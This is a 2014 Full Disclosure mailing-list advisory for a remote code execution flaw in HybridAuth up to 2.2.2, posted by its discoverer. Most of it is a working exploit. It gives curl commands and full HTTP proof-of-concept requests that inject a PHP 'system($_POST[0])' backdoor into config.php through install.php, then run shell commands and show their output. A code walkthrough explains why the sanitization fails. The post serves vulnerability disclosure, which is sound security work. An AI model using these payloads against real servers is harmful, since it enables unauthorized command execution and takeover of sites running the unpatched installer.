Full Disclosure mailing list archives

Previous By Date Next
Previous By Thread Next

HybridAuth <= 2.2.2 Remote Code Execution (0-day again)

From: Pichaya Morimoto <pichaya () ieee org>
Date: Tue, 5 Aug 2014 09:20:01 +0700
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512


######################################################################
#  _     ___  _   _  ____  ____    _  _____
#  | |   / _ \| \ | |/ ___|/ ___|  / \|_   _|
#  | |  | | | |  \| | |  _| |     / _ \ | |
#  | |__| |_| | |\  | |_| | |___ / ___ \| |
#  |_____\___/|_| \_|\____|\____/_/   \_\_|
#
# HybridAuth <= 2.2.2 Remote Code Execution
# Website : http://hybridauth.sourceforge.net/
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : August 5, 2014
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
HybridAuth enable developers to easily build social applications to engage
websites
vistors and customers on a social level by implementing social signin,
social sharing,
users profiles, friends list, activities stream, status updates and more.


[+] Exploit (New Version)
============================================================

I just found that the latest development version (2.2.2-dev) in Github was
trying to patch this months ago.

https://github.com/hybridauth/hybridauth/commit/574953517cda02eb631d68879bbc4f203fd203b9#diff-7fa84e199bd97f30cea5aea71735379c

...
    function stringSanitization($string)
    {
        $string = strip_tags($string);
        $string = htmlentities($string, ENT_QUOTES, 'UTF-8');
        return $string;
    }
...
        foreach( $_POST AS $k => $v ):
            $v = stringSanitization($v); <--- sanitize ???
            $k = stringSanitization($k); <--- sanitize ???
            $z = "#$k#";
            $CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
        endforeach;
...

However, the sanitization is not sufficient to prevent PHP code injection.
We can inject to next value that will never be sanitized with
htmlentities() :/

Note that the default installation leave "install.php" untouched.
$ curl http://victim/hybridauth/install.php -d
'OPENID_ADAPTER_STATUS=system($_POST[0]))));/*'
$ curl http://victim/hybridauth/config.php -d '0=id;ls -lha'



[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

1. Inject Evil PHP Backdoor
POST /hybridauth_git/install.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

OPENID_ADAPTER_STATUS=system($_POST[0]))));/*

HTTP/1.1 200 OK
Date: Tue, 05 Aug 2014 02:13:52 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 2467
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html>
<html lang="en">
<head>
<title>HybridAuth Installer</title>
...

2. Gaining access to the PHP backdoor
POST /hybridauth_git/config.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

0=id;ls%20-lha

HTTP/1.1 200 OK
Date: Tue, 05 Aug 2014 02:15:16 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 397
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 76K
drwxrwxrwx  3 longcat longcat 4.0K Aug  5 08:34 .
drwxrwxr-x 25 longcat longcat  16K Aug  5 08:47 ..
drwxrwxrwx  5 longcat longcat 4.0K Aug  5 08:34 Hybrid
- -rwxrwxrwx  1 longcat longcat 2.5K Aug  5 09:13 config.php
- -rwxrwxrwx  1 longcat longcat  488 Aug  5 08:34 index.php
- -rwxrwxrwx  1 longcat longcat  18K Aug  5 08:34 install.php

[+] Vulnerability Analysis
============================================================

Filename: ./install.php
...
    function stringSanitization($string)
    {
        $string = strip_tags($string);
        $string = htmlentities($string, ENT_QUOTES, 'UTF-8'); <-- LoL
        return $string;
    }
...
if( count( $_POST ) ): <-- user controlled input HTTP POST data
    \/-- Read a template file
    $CONFIG_TEMPLATE = file_get_contents( "Hybrid/resources/config.php.tpl"
);

    foreach( $_POST AS $k => $v ):
        $v = stringSanitization($v);
        $k = stringSanitization($k);
        $z = "#$k#";

        \/-- #POST data's keys# found in template file will be replaced
with POST data's values
            | so we can simply replace these existing values with something
fun :)
        $CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
    endforeach;
    ...
    \/-- upload that replaced template contents into config.php
    $is_installed = file_put_contents( $GLOBAL_HYBRID_AUTH_PATH_BASE .
"config.php",  $CONFIG_TEMPLATE );
...

Filename: ./Hybrid/resources/config.php.tpl
...
return
    array(
        "base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#",

        "providers" => array (
            // openid providers
            "OpenID" => array (
                "enabled" => #OPENID_ADAPTER_STATUS# <-- #..# will be
replaced with arbitrary PHP code
            ),
...

So this is what injected "config.php" looks like...
Filename: ./config.php
<?php
...
return
    array(
        "base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#",

        "providers" => array (
            // openid providers
            "OpenID" => array (
                "enabled" => system($_POST[0]))));/*
            ),
...

Pwned again,
LongCat
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJT4D6nAAoJEB2kHapd1XMUugYP/iVAotRldOKxxw0D9THuZbEX
1dzGWwxIBI5yvg1DSsU/XhmLIMQLKouvls9vAFjXoL6BiVeIwymEI4TJUd+FGLr4
B8Cl/b++hFouqkskiprMszyMXnXAYfGXqoOb2Ir1JJ+SQxtgaa4BeGYj0dmHPZcl
rI9UnXVnjPdJC9e6lAZJpkIXibLEHHASLgT9Sq3YhGrivlse8V4vWP5sqcqlmWug
pE+XyLSSdaFK0g9Vr0pgapZCjJmcgiEKMMA4quqJWynJzpPACT/y4IruLDb+OV+w
0/gaJ1EqCwQPxeaaN5EcP0EwgIxMXQiDNp+s5BtJ4ibsPRxxap2yCU6VBcpkodrz
3Kvq/z9sWG8LCjqNCeMmBtOpbqlkQnSgPU2Lsd+JEAgWp7rdJUDa2VhlDz2TKyQX
2rHNQW7ldSkWxNFxxstq5onoOGeyfutQ1PvCQaFlZBl9MQV/5xsWDU3Yf5d9ubWE
fubzgPYTBDYU4xqpUpjhOKwJQzza/pk8QsM6aZUyHNVNiry2fFk1ehhGP72fcJmJ
Q6nS+96Dpt/cGf4aJxtxm7T5cIqqA5B85EWWCCTsU0lvbafKOKeccYHQEYZYH4Ap
gYYlNvhE/1ClijCy82rap2mfdqa6rYTKz4rSRyx/TDrWn8jhUngJWooCbCJ4OOeh
QtALDCt/DEUVwhl733Hu
=2XnO
-----END PGP SIGNATURE-----

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Previous By Date Next
Previous By Thread Next

Current thread: